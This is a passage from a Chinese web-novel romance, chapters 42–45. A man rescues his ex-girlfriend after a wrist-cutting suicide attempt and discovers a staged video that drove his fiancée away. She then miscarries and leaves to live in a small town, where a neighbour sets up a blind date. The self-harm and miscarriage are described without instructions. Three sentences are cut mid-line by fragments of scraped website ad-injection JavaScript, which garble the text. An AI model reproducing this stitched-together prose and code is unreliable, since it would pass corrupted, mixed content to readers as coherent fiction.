姚柔伊耸了耸肩,用满不在乎的语气说:“分了。” 可瞬间红起来的眼眶出卖了她。 庞天骄:“可能就是暂时遇到矛盾了吧,别伤心,分开之后大家冷静冷静,说不定事情还有转机。” “他去找他的老情人了。”姚柔伊说:“没事,我成全他。既然没有非我不可,我也强留不得。” “算了算了不说这个了。”庞天娇赶紧帮姚柔伊把行李放到后备厢,“快上车,我带你回去。” “你知道吗,现在你好火呀,我抖音主页随便刷几条就能遇见你。”庞天娇一边开车一边说:“就算没了那个未婚夫,你依然光芒万丈。” 姚柔伊看着窗外的街道,道路两侧的树木绿荫蔽日,骑共享单车的少男少女倏忽而过,她无精打采地开口:“签约工作室的决定我有点后悔,打算再和负责人商讨一下能不能让我画漫画,实在不行我要解约了。” “啊?”这话让庞天娇有些措手不及:“可是这样也挺好的啊,多少人想红也红不起来,没必要放弃嘛,可以先积累自身的人气,然后再创作,用自身人气反哺作品人气,也没有什么问题呀。” 庞天娇打心眼里觉得姚柔伊这种才貌双全的人,就应该是星光熠熠的模样,作品和人都得红起来,无非是孰先孰后的问题。 “我再考虑考虑吧。”姚柔伊说。 庞天娇:“不管你做什么决定我都支持你,就算你解约也没什么,此处不留爷自有留爷处,我觉得你永远都不可能被埋没的。” “这么信任我?”姚柔伊无力地扯嘴角:“可能你对我的滤镜太大了,其实我已经好久没有创作的灵感了,就是在你想回老家的时候,我就已经到了创作瓶颈,到现在还卡在那里。” 庞天骄很诚恳地说:“我就是特别特别相信你。凡是搞艺术创作的,都会有瓶颈期,撑过去了就是另一番光景,你一定会顺利度过的。” “谢谢。”姚柔伊眼睛一热。 被别人无条件信赖的感觉真是太美妙,让人幸福得想落泪。 * 顾阎循着顾方圆提供的地址找到了孟筝的住处。 他敲门,无人回应。 他重新拨打孟筝的电话,隐隐约约能听见屋里的电话铃声,却迟迟无人接听。 情况极度诡异,让人不安。 他试着撞门,但门是新门,门锁很牢固,根本撞不开。 好在孟筝住的地方是二楼,他走到窗户后面,恰好有扇窗户开着通风,可以从窗户爬进去。 顾阎常年锻炼,身手了得,二楼也难不倒他,几下子就成功翻窗而入。 他正想着进去后提醒一下孟筝要注意安全,窗户最好找师傅来封一下窗。 不料,看见孟筝一动不动地晕倒在客厅地板上。 空气里有血腥气,淡淡的铁锈味,他快步走过去,发现孟筝的右腕正冒血,血流了一小滩,有他的手掌这么大的面积。 她的两条手腕上布着密密麻麻的、新旧交错的伤痕。 “孟筝!”顾阎拍了拍她的脸颊,又探了她的鼻息。 顾阎遇事冷静,快速拨打120,又将桌布撕成长条,给她做了个简易的止血包扎。 包扎完,他松了一口气,有些庆幸自己过来了,挽救了一场悲剧。 这样他就能有足够的理由和姚柔伊解释。 其实在路上他最害怕遇到的情况就是,孟筝其实一点事情也没有,故意装成病发的情形来诓骗他,那他就成了活脱脱的小丑,连和姚柔伊争辩的底气都没有。 他猛然意识到,原来这一路,他想的最多的并不是孟筝的情况到底怎么样了,而是他回去之后到底应该怎么和姚柔伊解释,她才能消气原谅他。 救护车很快到达,医护人员将孟筝抬上了车,顾阎跟着上车。 护士问了句:“你和患者什么关系?” 顾阎梗了一下,答:“朋友。” 他拍了张救护车里的照片发给姚柔伊,想告诉她自己没法回去是遇到人命攸关的事情拖住了脚步。 照片发送过去的时候,那枚红色感叹号刺痛了他。 他恨不得直接从救护车里跳下去,瞬移回姚柔伊身边,让她把自己从黑名单里拉出来。 可现在孟筝这边一个熟人都没有,他没有办法半途离开,只能帮她办理完住院,等她抢救成功生命无虞之后,才能离开,去找姚柔伊。 自从他的母亲自杀离世,他非常厌恶自杀行径,或者说非常恐惧。 母亲是割腕,孟筝也是割腕。 他当年没有救回母亲,如今救回孟筝,也算弥补了当年弱小,无法挽回生命的遗憾。 可他又无法高高在上指责孟筝,她的悲惨经历造就了不健康的精神状态,世上没有真正的感同身受,一句你要坚强,你要走出来,听起来是那么的苍白无力。 顾阎深深地叹息。 他终于弄明白,孟筝为何会一改常态,放下自尊,回来找他,她实在是病了,她所做的一切为了自救,她想象中的自救方式就是回到她认为安全的地方,她想得到他的庇护,她想让他拯救她。 她错误地将他当成了救世主。 可他终究不会是任何人的救世主。 他能做的,最多也就是今天这个样子,发现她的异常,替她叫来救护车,从死神手里抢回她的生命。 至于更深层次的拯救,比如心理创伤的治愈,人格的重新建立,他实在无能为力。 孟筝被推进手术室的时候,顾阎得空拨打姚柔伊的电话。 电话拨出去几秒钟,就被挂断。 再拨之后,只能得到机械冰冷的女声“您拨打的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 电话暂时无法接通……” 显而易见,既微信被拉黑后,手机号码也被拉黑了。 顾阎查看客厅的监控,看见姚柔伊提着行李箱离开了别墅大门。 她的身影如此单薄,步伐却如此坚定,一次头都没回。 他又将监控时间往前调整,调整到她发【我们分手吧】之前的一小时。 他想知道到底是什么促使她如此无情决断地打下这行字。 视频中,有一个快递员送货上门,姚柔伊签收完毕。 快递拆开,是他们之前拍的婚纱照实体大相册。 姚柔伊草草翻完相册,相册盒子里还有一个小u盘。 姚柔伊捡起U盘,转身进了书房。顾阎推测她是去查看U盘里的内容,至于U盘内容,很有可能是他们拍摄婚纱照时的视频花絮,他记得姚柔伊当时和摄影师提过帮他们多录一些花絮,动态会比静态更生动、更有纪念意义。 半小时后,姚柔伊仓皇地从书房中跑出来。 她抓着头发,在客厅中尖叫,用头狠狠地撞击沙发,三分钟后,她将放置在茶几上的婚纱照相册举起来,狠狠地摔在地方,用脚猛烈地踩踏。 她发泄了足足十分钟,待到精疲力尽后,她开始呕吐,朝厨房水台方向跑去。 视频中的姚柔伊状态癫狂,看得顾阎心脏揪扯在成一团,好似一团血淋淋的破布。 U盘里一定有古怪。 顾阎正在思考里面是什么的时候,手术台的灯熄灭了,医生将孟筝推出来,朗声问:“家属呢?” 顾阎思绪被打断,他站起来:“我是她朋友。” “家属没来?”医生随口问,“需要签个字”。 孟筝在国内的亲人几乎都已断绝联系,父母意外离世,她从小跟着叔叔婶婶生活,十七岁那年,叔叔婶婶都希望孟筝去结婚,放弃学业,这样他们就能获得一大笔彩礼,还不用再支付学费。 他们给孟筝找的人家是个有钱但儿子腿残的家庭,孟筝连夜逃离。 她运气很好,赶上了学校的交换生计划,一鼓作气申请上交换资格,她从叔叔婶婶家把当年父母离世留下的赔偿金偷出来,踏上了出国的路。 她曾经和顾阎说过,她不想回国,不到迫不得已的时候,她坚决不会再回去,她在那边没有任何的依靠,如果回去还会被叔叔婶婶追着要她还钱。 顾阎说:“她没亲人,我来签吧。” 医生说:“行,那你这两天先别走,她现在离不得人。” 顾阎:“这恐怕不行,可以找护工吗?我有事,耽搁不得。” 医生:“也行,病患有人照看就行。” 顾阎点头,将签好名的纸张递回去。 将孟筝推到病房,办理好各项手续,找好护工后,顾阎火速离去了。 他根本等不及孟筝醒来。 顾阎回到别墅,进到书房,书房里杂乱不堪,电脑东倒西歪,显示屏被砸裂了,书桌上的练字纸被撕成一摊碎片,扔的到处都是。 很显然这也是姚柔伊情绪失控发泄过的痕迹。 好在那个u盘还插在主机上。 顾阎把u盘拔下来,插到完好的笔记本电脑上,读取里面的文件信息。 里面有一小段视频,顾阎点开,赫然发现是他和孟筝的视频。 他在熟睡,孟筝在他身边,未着寸缕,紧紧抱着他。 也是,既然孟筝和顾方圆合伙整他,自然不可能没点猛料。 只是事情发生的太巧了,如果他当时不打电话给孟筝,不刺激到她发病,自己没有离开,那么这段视频即使被姚柔伊看到,只要他在她身边,及时地给出解释,矛盾也不会激化到这种地步。 可恰好送来的时机,正是自己不得不去找孟筝的时候,他甚至怀疑时间点都是被顾方圆算计好的。 他头一次有这种被人拿捏至死的感觉,他狠狠地踹向茶几,茶几翻到在地,砸到破损的婚纱相册上。 他的视线停在婚纱册上,走过去,捡起来,很重很大的一本。 翻开,一张双人合照,原来是两个人一起看镜头,但按下快门的那一刹那,一朵落花掉在他的肩膀,姚柔伊从看镜头变成抬头看着他。她在笑,嘴角扬起明媚的弧度,眼睛弯弯的,里面是蜜糖一样粘稠又甜蜜的爱意。 选片的时候,他和摄影师都觉得这张照片是废片,因为只有他一个人看镜头,姚柔伊在看他。 但姚柔伊却坚持留下它。 他还记得她说,婚纱照记录下的是爱情的瞬间,这张照片就是她很爱很爱他的定格,多有纪念意义,干嘛不留着呢? 一滴泪珠掉在那朵落花上。 很爱很爱他的姚柔伊走了。 43. 第 43 章 顾阎不知道姚柔伊去哪了,他知道先去她家找。 老姚看见他的时候,很是震惊,忙问怎么就他一个人过来,姚柔伊呢? 顾阎心沉了下去,看来姚柔伊并没有回家。 “岳父,你能不能帮我联系一下她,我被拉黑了。”顾阎摸了摸鼻子,难堪地说。 “哦?吵架了?”老姚若有所思,拍拍顾阎的肩膀:“我听说很多小两口备婚期都会吵架,没事,我找她。” 老姚掏出手机,当着顾阎的面打给姚柔伊。 接通后,老姚开口就道:“你跟小顾怎么回事,人家找来了。” 话音刚落,手机里就传来忙音,老姚嘿了声:“这小丫头片子,敢挂我电话……” 老姚尴尬地朝顾阎讪笑两声,“没事,我接着打。” 老姚再次拨过去,奈何这次姚柔伊连接都不接,直接挂断。 老姚心虚地看了眼顾阎,“你怎么把她得罪了?我姑娘不会那么任性突然离家出去的。” “都怪我。”顾阎苦笑了声,但并不打算告知老姚实情,只说:“如果她回家或者说联系您了,请务必告知我一声。” 老姚摆摆手:“成。她这么大人,应该也能照顾好自己,等气消了说不定就回来了。” 与老姚告别后,顾阎失魂落魄地回程,打算动用一些私下的关系,查一下姚柔伊的去向,争取能尽快找到她。 顾阎刚打算联系某个精通IT的好友,手机便收到护工的来电。 “顾先生,您快过来,我就下去帮她买个饭的功夫,她就不见了!” 顾阎险些砸了手机。 该死的,一个个,竟给他玩失踪! “她爱去哪就哪,我他妈还不够仁至义尽?!”顾阎对着手机骂了句,接着又想到护工也不容易,人家又没招惹他,强压着怒火回:“你别着急,我过去一趟。” 挂了电话,他猛砸了两下方向盘泄火,接着发动了车子,朝医院开。 等到了医院病房,孟筝已经老老实实地躺在床上了。 顾阎:“刚才去哪了?” “只是太闷了,出去转转。”孟筝轻声回答。 其实是因为醒来时候没有看见顾阎,她疯了,她只能跑出病房,到处去找。虽然没找到他,但好在他还是回来了。 “可不能这样了,你手上还打着吊瓶,直接拔下来走了,我吓死了。”护工拍拍胸脯:“还好你回来了,不然我都不知道怎么跟你老公交代。” “我不是。”顾阎立刻出言反驳:“只是朋友。” “哦哦。”护工知道自己说错了话,缩缩脖颈。 孟筝:“只是朋友,那你何必管我死活?” 她望向他的眼睛里,闪着倔强的泪光。 “我之前不知道你在国外的遭遇。”顾阎顿了下:“不知道你生病了。” “你可怜我,你同情我是吗?”孟筝伸手去拉他的衣袖。 顾阎朝后退了一步,避开身体上的接触。 孟筝悬着的手失望地慢慢垂下去。 “我只是做了朋友该做的事,送你去医院,你如何死了的话,也有我间接的责任。” “不要,不要只是朋友,既然你管我死活,那能不能不要抛下我?”孟筝唇瓣抖动,泪眼朦胧,话里哀求:“你救救我。” 顾阎叹气:“孟筝,我救不了你。我再和你说件事,你之前一直觉得你救了我,其实我当时能走出来,不是靠任何人的拯救,就是某一刻,突然就想通了。我很感激你陪着我的那段时光,但也仅此而已,人终究得自救,自己不想走出来,靠别人生拉硬拽是没用的,旁人最多只能拦下你寻死,想活自己靠自己。” 顾阎又说:“心理医生我可以帮你找,他们比我专业,如果你真心想走出来,就好好配合医生,如果你不想走出来,只是想靠着生病这件事企图将我留在你身边,我只能说,没用的,你可以自杀很多次,但我不会次次都救你。” “她呢?”孟筝没由来地问了句。 “自然是遂了你们的愿。”顾阎自嘲地勾了下嘴角:“她走了。但这只是暂时的,我会找回她。” “我需要你,你却离我而去。她不需要你,你却执迷不悟。” 顾阎摇头,反驳她的话:“不,她需要我的,她只是生我的气。” 说完,他低头笑了,无奈又伤感的笑。 他知道姚柔伊爱他,他明明知道的,可他却从未看重这份爱,他从前一直觉得爱是自由,取决于当事人,他无权决定旁人会不会爱他,爱得有多深,爱得有多久,哪怕不爱他了,他也能接受,毕竟爱就是这样自由随心、不讲道理。谁妄图改变它、主宰它,谁就会流血流泪。 所以他不曾去想姚柔伊很爱他、很需要他这件事。 现在她走了,他突然发觉,他的恋爱观难以自洽了。 他不能心平气和地接受她不爱他了、不需要他了。 他妄图去扭转糟糕的现状,他知道这必然伴随了血和泪。 可不去挽回,他只会痛得更厉害。 顾阎对孟筝说:“孟筝,你对我的执念到底几分来源于不甘心我结婚,几分来源于生病了误以为我是救命稻草,可能你自己也没有想明白。但是我想说,无论是哪一种情况,我们都没可能了,我不爱你,或许在一起时便没那么爱,这是一件很残忍的事情。” “那你爱她是吗?” “是,她让我对恋爱有了新的想法。”顾阎说:“我意识到的时候已经迟了,但没事,好事不怕晚。” “为什么,你爱她什么呢?” 顾阎陷入思索,很难说自己爱她什么,是好奇,是改观,是合拍,还是失去才追悔莫及? “爱和她在一起的感觉。” 身心放松的感觉,已经恐慌失去的感觉,两种感觉时常穿插出现,折磨着他。 单一的感觉很难持续新鲜感,只有这种复杂交织,打一个巴掌给一个甜枣的感觉,让人上头,逐渐沦陷。 “孟筝,把戒指还给我吧。”顾阎最后开口。 孟筝半躺着,眼睛看向窗外,“我们真的没有以后了吗?” “嗯。” “如果没有她的出现,会不会有以后?” 顾阎:“实话说,也不会。”至少他从未为谁回头。 孟筝无力地闭上眼睛,“你好残忍。” 她好累,却也好轻松,挽回顾阎这个念头,曾在分手后的无数个深夜在她脑海里盘旋,她不敢踏出这一步,直到她病了,她才勇敢地迈出回国的步伐。可努力不一定有回报,她做了,没有发生想象中的美好结局。她的微弱幻想被现实无情粉碎。完成一直想做的事让她很轻松,可结果让她很累。 孟筝从无名指上拿下戒指,这个戒指比她的手指粗很多,戴着手指上空荡荡的,极易滑落,但她一直戴着,好似这样就能自欺欺人是顾阎向她求婚的戒指。 戒指被她捏着,用力地,不舍地,万分纠结地捏着。 顾阎在她面前伸出手,“放手吧,不是你的终究都不是,强求不来的。” 孟筝的力气遽然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抽离,戒指脱手,顾阎眼疾手快接住。 他长长舒了一口气。 顾阎离开医院时,病房里传出孟筝歇斯底里地哭恸声,他一步步走远,哭声一点点减弱,直至完全听不见。 此次分别是他们最后一次相见。 孟筝出院时,顾阎没来,顾方圆来接的她,或许是无聊荒唐的合作,让顾方圆对她产生了深切的同情和怜悯。再后来,孟筝跟着顾方圆离开了国内,未曾回来。而后她在国外一直积极地接受心理治疗,后来与一位在福利院做慈善义工的博士生结识,发展成恋人关系,之后顺利地结婚生子。 * 痛苦成就艺术,姚柔伊重回出租屋后,虽精神状态岌岌可危,但创作灵感却犹如泉涌。 她画了三天时间,飞速构思了一个长篇漫画剧情。 这个故事中学时就在脑海中雏形乍现,这些天突然再度显现在大脑中,并有愈发清晰之感,冥冥之中指引她产出,她几乎不眠不休地用纸笔记录下来这个故事。 创作真是一件奇妙的事情,有时坐在书桌上便秘似的什么都挤不出,有时又如现在这般任人物、情节摧拉枯朽般倾泄而出。 她很喜欢这种感觉,身心和思绪完全沉浸其中,分不出精力去想关于顾阎的事情。 三天后,故事大纲已经完善完毕,她开始着手画人设,以及前三话的草稿。 她一天几乎伏案十六个小时之久,只花费两天时间就画完关键角色的人设,以及前三画的分镜草图。 姚柔伊带着这个故事联系了工作室负责人,希望能把这个漫画故事连载发布。 负责人看后表示,这不太现实,现在漫画市场特别不景气,而这个漫画是个大长篇,动辄也得三五年,实在是风险太高,随时可能有停更砍掉的风险。 最重要的是,让姚柔伊这种摇钱树去画漫画,产生的经济效益远远不如当前规划的路线。 他们工作室为她的前期宣传资源投入巨大,现在正式开花结果的时刻,即便她提供的故事的确精彩,可也无法与当前的路线所抗衡。 人气高涨期是何其宝贵,多少网红都是昙花一现,湮没在瞬息百变的网络长河中,不趁着最火的时候多多变现,到时候追悔莫及。 想要连载漫画不是不行,但需要等到人气平缓期,流量降到差不多的时候再连载。 姚柔伊失望地回去了。她刚刚燃起的漫画梦就被这么无情浇熄。 庞天娇却一直鼓励她继续创作,哪怕不通过工作室发布连载,自己私下画也是一件很有意义的事情,创作除了获得经济价值以外,还能获得情绪价值,有时后者比前者还有宝贵。 毕竟在这个压力爆棚、人均焦虑的社会,很难说赚钱和保持快乐哪个更难。 最关键的是,画画的时候是大脑思绪最集中的时候,有助于帮她走出失恋的阴霾。 姚柔伊觉得庞天娇说的在理,故而继续画了下去。 她一旦投入创作中,通常是极度专注,完全不顾虑身体健康的,故而在画了三天后,身体出现了不适症状,可姚柔伊却没有在意,只当是失恋后的常规反应。 仗着年轻不注意身体健康,总会付出代价的时刻。 姚柔伊在洗澡的时候突然晕倒了,摔得特别惨,还撞到了脑壳,昏死过去。 浴室里的巨大声响惊动了画稿的庞天娇,她飞快冲进浴室,被眼前的景象震惊,姚柔伊摔晕在浴室,她的下身渗出鲜血,被花洒冲刷成淡粉色一大片。 庞天娇吓得快疯掉,只能赶紧拨打120。 44. 第 44 章 姚柔伊的第一个孩子,在得知它存在的那一刻,便彻底地失去了。 庞天娇在病床前一直哭泣忏悔,懊恼自己没有发现姚柔伊身体的异常,没有拦着她让她好好休息、好好吃饭,最终酿成了这种惨剧。 姚柔伊睁着双眼,一眨不眨地直视着纯白的天花板,嘴巴干裂成一道道沟壑,她说:“或许这不是惨剧,这个孩子就不该来到这世上。” 她根本没有做好当母亲的准备,也没有办法给它一个完整、健康、快乐的家庭,它生气不来了,再正常不过了。 这次在浴室摔倒,除了流产,还有轻微脑震荡,万幸没有伤筋动骨,她只需要住院一周就能离去。 庞天娇试探性问:“要不要通知你的未……不是,就是通知他?” 姚柔伊缓慢而坚定地摇头,她始终认为孩子的离去是上天的旨意,在告诉她,她和顾阎已经没有可能,决绝地为她斩断一切藕断丝连的可能。 她又如何能不遵循天意呢? “如果你私自通知他,我们就绝交。”姚柔伊轻声说。 庞天娇知道姚柔伊这么说绝对不是简单的威胁,她一定会说到做到,她就是这么有魄力的人。 庞天娇:“好,我不告诉他,那你以后怎么办,有什么计划吗?” “现在还不知道,先养好身体吧。”姚柔伊摇头,要说这次的事有什么教训,那最大的教训就是要敬畏身体,你不在乎它,心存侥幸心理,身体就会诚实地给你相应的报应。 当时她和顾阎□□时,套子不留神滑落了,她仗着是安全期,没有服用紧急避孕药,所以意外怀孕。 她这段时间,身体和情绪都很糟糕,本该调整心情,好好吃饭,好好睡觉,锻炼身体,健康作息,可她却没有这么做,一个劲地折腾身体,好像非要身体不舒服了,心里才能好受,结果下场就是在浴室晕倒。 她终于醒悟,什么都是稍纵即逝的,什么都是可以失去的,唯独健康的体魄是真正陪伴自己度过失意时期的依仗。 她可以失去顾阎,可以失去孩子,唯独不能再失去健康。 庞天娇点头:“对对对,养好身体,这才是最重要的。” “这件事情我不想告诉任何人,你能不能帮我保密,其他朋友包括我爸都不要说。”姚柔伊目光恳求。 庞天娇红着眼眶点头。 她头一次觉得皎皎明月如此脆弱可亲,从前一直都是姚柔伊向她伸出援手,拉她出深渊,如今她躺在病床上,自己终于有能力帮助她,托举她,把这轮月华小心翼翼地送回天际。 躺在病床上的一周,姚柔伊几乎将自己的一辈子都想通了。 她惊讶于自己前段时间看似过上了最平静最美满的生活,但竟然没一点是她真正想做的,比如高昂的收入,却不是靠作品成名,比如和顾阎幸福甜蜜,却根本不是他当前的唯一。 那些美梦真如镜花水月,转瞬成空。 她不想再沉沦于过往,她想去做一些她真正想做的事情,不是为了名利,不是为了得到,只是单纯想做。 她在躺着的时候一直问自己什么事自己想做的事情。 这个问题很大,很空泛,她一时很难想出一个完美的答案。 她只能从很小的出发点去思考,譬如自己现在躺在病床上哪里都去不了,那么她出院之后就想去看看更多的地方,譬如她一直在做不喜欢的工作内容,那么等出院之后,她就从工作室解约,自己慢慢尝试摸索想画的东西,譬如自己身体羸弱、情绪萎靡,那么等出院之后,她就要去改变现状,认真约束自己的生活作息,把自己好好的养一遍…… 她想不出很远大的目标,那些毕生逐梦的理想离她太过遥远,她越思考越容易陷入一种虚无的境地,索性不想了,就从当下小事进行改变。 庞天娇本以为姚柔伊遭此打击后,会更加自暴自弃,她甚至都开始思考怎么有效地劝她走出阴霾好好生活,奈何姚柔伊比她想象中的调节更快,她规律作息,好好吃饭,也遵医嘱下床活动锻炼,完全没有让她提前准备的那些开导的话没了用武之地。 她又红了眼眶,抱着她说:“你是最坚强勇敢的月亮,让那些伤害过你的人统统后悔去吧!” 姚柔伊笑着说:“我活着,不是让谁后悔,只是为了让自己开心。” 姚柔伊解约的时候很不顺畅,几乎把赚的钱尽数赔进去,但没什么大不了的,她想,钱没了还能再赚,再怎么说她也是好手好脚,有一技之长的年轻人。 姚柔伊在飞机起飞之前,给老姚通了个电话。 老姚接到电话后,忙担忧地问:“你去哪了,跟小顾到底怎么了,怎么我听说原定的婚期取消了?” 姚柔伊说:“我们结束了,订婚的时候你不是说要不是我喜欢他的话,你都不同意我嫁给他吗?” “我是这么说过,但是吧……” “我现在不喜欢他了,不和他结婚了。”姚柔伊大声对电话喊了声:“所以,老姚,你会支持我的吗?” “唉,你……要我怎么说你啊?”老姚叹气:“那你现在有什么计划?” 姚柔伊说:“我要走了,去‘流浪’,哈哈哈哈……” “想一出是一出的,”老姚说:“钱够不够啊,我跟你说我现在已经在一家报社发表好几篇诗歌,说不定能跟这家报社签约呢。” 并且他还和这家报社的编辑结缘,对方年近半百,爱人因病离世十几年,一直未嫁,独自拉扯女儿长大,现在女儿保研成功,不要她多操心,老姚见她第一面时就产生了被丘比特之箭射中的感觉,一个劲地跟人家套近乎,现在已经进展到交流阅读心得的感受。虽说对方接受他的概率不大,但他头一次有了奔头,整天斗志满满,精神样貌看起来都年轻十岁。 “太好了,流浪诗人,你现在已经实现了后半截,我马上要替你实现前半截,到时候咱们父女俩加在一起就全活了!” “不行,你这妮子一个人要去哪,我不放心。”老姚焦急难耐。 姚柔伊:“爸,别担心我,我已经下定决心了,到时候每个月给你寄信,好了不说了,我要登记了。” 挂断电话后,老姚唉声叹气了好一阵,但也知道他这个女儿一向独立,想做的事没有做不成的,强行拦着恐怕不会有好结果。 不过,还是给顾阎去了个电话。 “闺女刚才联系我了,说自己去流浪了,我估计应该就是年轻人常说的gap,到处走走玩玩。” “她有说去哪吗?” “没,说每个月给我寄信。” “好,谢谢,等她来信的时候,能否拍给我看看。” “行。” 顾阎挂了电话,在办公室发了很久的呆,这些天他一直找她,工作结束后,他再也不想待在办公室里加班,处理那些永远也不见少的文件和流程,他开车在她常去的地方一圈圈转悠,祈求能来个不期而遇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 他调查了她的朋友,她交友一向广泛,光大学好友就得有大几十,毕业后又都散落各地,他就像大海捞针,徒劳无获。 他怀揣最大的希望,就是从老姚那里获得她的踪迹。 他的祈祷终于显灵,他终于得到了姚柔伊的最新消息,可这最新消息更是让他绝望。 去流浪,意味着居无定所,连个具体的方位都难以判断,或许当他终于探知到她的落脚点时,赶过去就发现她已经启程去往新地方。 他想起她曾经的戏言,不想办婚礼,想旅行结婚,因为那样感觉在流浪,如果没有发生之前的事,现在她的流浪之旅是否就是他们的新婚蜜月之旅? 人一旦开始联想,就会不停地陷入回忆的漩涡中,久久不能自拔。 他整个下午都在不停地走神,脑海中不停闪过姚柔伊的音容笑貌,电脑屏幕上的文字就像一堆乱码,而后变成跳舞的小人,什么都看不进去。 一向引以自豪的工作专注力现在就像个笑话。 如果不是助理进来通知他去开会,他恐怕会在办公桌前一直呆坐到天黑。 这么多天,其实他已经想明白,姚柔伊选择离开的原因,就算没有这个偷拍的做局陷害他的视频,他们迟早也会面临这么一天,孟筝始终是个刺,早早地就扎在姚柔伊心里,她可以选择忽略,但不意味着这根刺不会痛,视频就如导火索,彻底引燃她的不满,没有这个导火索,将来也会有其他的火苗,只要那枚炸.弹始终在那里,它就迟早会爆炸。 他以为炸.弹就算爆炸,也会在可控范围内,可他没有意识到,这枚炸.弹是会不断地长大的,它逐渐在一次次刺激下成长到足以毁天灭地的程度。 他不该对炸.弹视而不见,坐视不理,现在它被引爆了,他终于拖着粉身碎骨的残躯去把它拆除了,可拆除掉炸.弹残骸这件事,她已经看不到了,她的心已经在这场爆炸中化成齑粉。 他忽然觉得工作生活的动力越来越小,他每每回到别墅,都会被这空阔无人的孤寂击败,他几乎打开所有的影音设备,电视,投影仪,音响等等,制造出巨大嘈杂的声响,用噪音打破死一样的寂静,否则他无法在房间里待上片刻。 后来,他又沉入水底,用水下的平静来安抚自己,他憋气的能力大幅度提升,一口气三分钟也不在话下。 可生活太残酷了,公司的事情无时无刻不在提醒他,你必须做个正常人,于是在这种拉扯之下,他成了一个表面正常、内里癫狂的怪物。在公司时,切换成正常人状态,回到别墅,他成了孤魂野鬼。 这么浑浑噩噩了一个月,老姚给他带来了新的消息。 关于姚柔伊的新消息。 他像沙漠旅者终于看见绿洲,把姚柔伊寄过来的信反反复复看了好几遍。 信上说,她漫无边际地逛了很多的景点,现在在一个小镇上停了下来,租下一个带花园的小房子,暂住一段时间,短则一个月,长则半年。她说她之所以在这里停下,是因为这里的阳光很舒服,她有一次在民宿的躺椅上晒太阳,眯着眯着就睡着了。睡醒之后,什么烦恼都没有,她觉得这种感觉太奇妙了,当即决定在这多住一段时间。 她没有透露这个小镇的名字。 不过她还分享了一些照片,比如她精心布置的小花园,比如她经常散步的小公园,比如早晨的菜市场,比如各种形态的落日。这些生活碎片式的照片被顾阎一一保存下来。 45. 第 45 章 “妹子,又在采风啊?” 说话的是个三十多岁的男人,叫阿松,个子不高,身材厚实,皮肤黝黑,说话的口音很重。他是她租的房子的房东,同样也是邻居。 一个热情好客,勤劳肯干的已婚男人,孩子已经上小学,小女孩调皮得很,经常跑过来抱着她的腿叫漂亮姐姐,还总是摆出各种滑稽的动作,让姚柔伊画她。 姚柔伊从画板上抬头,冲阿松笑了下,应道:“是,马上画好了。” 还记得他们第一次聊天时,阿松问她在干嘛,她说在采风,阿松一脸不解,伸手抓空气,纳闷道:风还能采?把姚柔伊逗得前仰后合。 姚柔伊已经在这住了十几天了,每天都是自然醒,醒了打了两遍八段锦,然后就躺在小花园中的躺椅上,有时看书,有时看风景,之后就去买菜,她开始学做饭,以前觉得做饭麻烦,现在太闲了,又觉得做饭挺有意思的。 有时做的太多,就端去隔壁,给阿松一家。阿松的老婆叫阿芸,在家做手工编织,做多了就拿去集市上卖。 姚柔伊有时没事干,也会去找阿芸,跟她学编织。她现在已经会勾很多种小花了,虽然勾得不甚精致,但她还是勾了上百枝,一半捆成一朵花束,另一半插在瓶子里,都很好看。 她还用画画了下来。 这种舒缓闲适的状态,让她有种身处桃花源中的感受,不过,阿芸偶尔的发问会让她回到现实,比如总问她是哪里人,长得漂亮皮肤又白,一看就是大城市的,还总问她有没有成家,家里几口人,怎么同意她自己出来的。 姚柔伊和她一通胡扯,说自己老公出车祸死了,爸妈年纪大送到养老院里,自己一个人出来没有人管。 阿芸这时长叹一口气,口中念叨,“可怜哦,怎么也没生个娃娃,你一个女人家没个牵挂可怎么活哦?” 姚柔伊笑笑,“没事,我还年轻,说不定遇上合适的汉子就改嫁了。” 阿芸点头,“这倒也是,我到时候让我阿娘帮你留意着,有好汉子就介绍给你。” 姚柔伊表示,“那可得麻烦你阿娘了。” 她这句调侃的话,没想到真的起了作用,阿芸是个热心肠,回去马上跟她阿娘说了姚柔伊的情况,她阿娘两天后就给她带了消息。 第二天,姚柔伊来找阿芸做手工编织的时候,阿芸立马把消息同步给她:“我阿娘说远房表姐家的小伙子不错,打算介绍给你,小伙子刚大学毕业,大学中间当了两年兵,岁数应该比你大一岁,长得高高大大的,模样也好看,就是眼光高,给介绍好几个姑娘都没看中哩,本来听说你守寡,他不同意,给看了照片才愿意的,今天就到这边来了,想约你见见面。” 阿芸给的照片,是她女儿缠着姚柔伊玩耍时,她偷偷拍下来的。 “这么快?”姚柔伊震惊,她原本就是客套两句,哪知道真惹上麻烦来,她说:“我眼光也可高嘞,指不定相不中他。” “相不相的中都是靠缘分,那小伙子有前途的,进了大公司,听说一年能赚二三十万呢,现在放假才回老家的。”阿芸虽然没有亲眼看过这个远方亲戚到底长什么样,但家里说都对他赞不绝口,她就特别想撮合他和姚柔伊,“见不见嘛,错过了怪可惜的。” “我考虑考虑。”姚柔伊的注意力全集中在手里的挂针和毛线上,对见面一事完全不上心。 阿芸见她这样,不像是害羞,倒像是无所谓,她猜测道:“你是不是太爱你那个死去的男人了,这辈子要走不出来喽。” 一听到“这辈子走不出来”这话,姚柔伊如遭雷击,当即停下手里勾线的活,抬起头,直直盯着阿芸,“我去!” 什么玩意啊,她没了一棵树,还有大片的森林,干什么这么抗拒呢,见个面而已,又不是要吃了她。 再说,要对方真是个大奇葩,那也算是增长见闻了,她还可以把这件事当成笑谈讲给老姚听。 “好嘞。”阿芸喜笑颜开,“我这就把你微信推给那个小伙子。” 姚柔伊点头,“行。”加就加,加微信又不会少块肉。 阿芸撂下手里的活,倒腾了半天的手机,迷茫地抬头:“怎么推微信哦,上次娃她爸弄了一次给我看,我又给忘了。” 姚柔伊哭笑不得,接过阿芸的手机,帮她操作了一番,相当于自己把自己的微信名片推给一个从未见过的男生。 微信推过去,没几分钟,姚柔伊就收到了好友申请。 她点了通过。通过完之后,就没在看手机,继续勾手里新学的小花样式。 勾完一朵小花后,姚柔伊转动脖子,伸伸懒腰,得空看了眼手机。 新加的男生跟她打招呼:【你好,我叫何俊良,目前休假在家,晚上方便见一面吗?】 